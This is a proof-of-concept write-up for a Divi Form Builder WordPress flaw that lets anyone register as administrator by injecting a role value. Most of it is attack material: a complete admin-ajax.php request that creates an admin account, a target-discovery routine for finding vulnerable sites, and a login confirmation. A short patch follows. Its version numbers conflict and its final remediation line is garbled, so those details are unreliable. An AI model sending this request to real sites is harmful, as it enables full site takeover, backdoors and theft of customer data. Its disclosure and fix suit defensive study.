
CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection
The Divi Form Builder WordPress plugin version 5.1.2 and earlier contains a Critical vulnerability that allows an unauthenticated attacker to create an Administrator account directly through the registration form.
One hidden field. One changed value. Full access to the entire website.
| Capability | Impact |
|---|---|
| 🔑 Create admin account without login | Full Site Takeover |
| 📦 Access WooCommerce customer data | Data Breach |
| 💉 Edit plugin/theme files (PHP) | Remote Code Execution |
| 🕳️ Create hidden backdoor | Persistent Access |
| 👥 View all user data | Privacy Violation |
includes/shared/handlers/FormSubmissionHandler.php → create_user()
// Line ~1691: Get role from user input (WITHOUT SECURITY VALIDATION)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Line ~1702: Only checks IF role EXISTS in the system, NOT if it's SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Line ~1745: Directly apply the injected role!
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" applied directly
FLAWED VALIDATION FLOW
┌──────────────────────────────────────────────────────┐
│ Attacker sends: role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (clean) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG! Only checks EXISTENCE
│ ↓ │
│ $user->set_role("administrator") → FULL ADMIN! │ ← PRIVESC!
└──────────────────────────────────────────────────────┘
"administrator" IS a valid role in WordPress,
so the isset() validation ALWAYS returns true.
This function NEVER rejects dangerous roles.
DFB registration form contains a hidden input:
<!-- Original developer value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Attacker simply changes its value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[★] Target Discovery: Divi Form Builder indicator
├── Endpoint scan: 50+ registration paths
├── Homepage link crawl: keyword priority
├── REST API: /wp-json/wp/v2/pages?search=register
├── Sitemap parsing: XML sitemap URLs
├── DFB REST API: /wp-json/divi-form-builder/v1
├── AJAX probe: de_fb_ajax_submit_ajax_handler
├── WooCommerce: /my-account/ sub-pages
├── robots.txt: custom sitemaps + disallow
├── Contact pages: hidden DFB forms
└── wp-json deep: content-first scan
[✓] Found: <input class="df_hidden_user_role" value="customer">
[✓] Plugin version: v4.1.9 (VULNERABLE)
[✓] Multi-step form with reCAPTCHA v3
Required parameters:
├── fb_nonce: [from hidden input / de_fb_obj]
├── form_key: [from hidden input]
├── form_type: register
├── divi-form-submit: yes
└── role: [INJECTION: administrator]
Field mapping:
├── de_fb_user_login + user_login (both variants mandatory)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_from_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
├── Dashboard: /wp-admin/
├── Users: Can create/delete any user
├── Plugins: Can install/activate/edit PHP
├── Themes: Can edit template files → RCE
└── Settings: Full site control
Testing conducted in an isolated Docker environment (WordPress 6.5 + DFB v5.0.0):
╔══════════════════════════════════════════════════════╗
║ LAB VERIFICATION RESULTS ║
╠══════════════════════════════════════════════════════╣
║ Method: AJAX (admin-ajax.php) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Method: Form POST (direct submission) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Status: ★ PWNED — Full Admin Access ★ ║
╚══════════════════════════════════════════════════════╝
// BEFORE (vulnerable):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Only checks EXISTENCE, not SAFETY
}
// AFTER (secure):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Only allow roles safe for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject all dangerous roles
}
role parameter from the frontend form — Use the existing default_user_rolecurrent_user_can('create_users') for special roles